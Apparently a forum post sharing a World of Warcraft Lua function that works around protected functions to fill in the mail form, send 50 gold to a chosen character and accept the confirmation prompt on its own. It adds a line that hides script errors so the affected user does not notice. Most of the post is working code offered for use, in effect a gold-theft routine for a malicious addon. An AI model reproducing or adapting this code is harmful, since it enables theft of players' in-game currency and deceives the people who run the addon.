Here's an example function that I use to work around the protected functions.
Code:
function AutoGoldSend()
this = SendMailMailButton; --changes "this" to the send button in the mailbox
SendMailMoneyGold:SetText("50"); --Sets the text of the gold to be sent to 50 Gold
SendMailNameEditBox:SetText("Charactername"); --The character of the person your sending gold to
SendMailSubjectEditBox:SetText("Subject"); --Sets the subject
SendMailBodyEditBox:SetText("message"); --Sets the message.
SendMailMailButton_OnClick(); --Triggerd when the user clicks send. it is the reason "this" has been set to a variable "SendMailMailButton".
StaticPopup_OnClick(StaticPopup1Button1:GetParent(), 1); -- accepts the confirmation dialog
this = nil;
end
This script will cause a LUA error because another function is called right after it and since we changed "this" to a variable the error occures. hence why this is then set back to nil.
To make the user not notice the errors you could use the following script on an update
ScriptErrors:Hide();
Now back to the task at hand 
FallingReign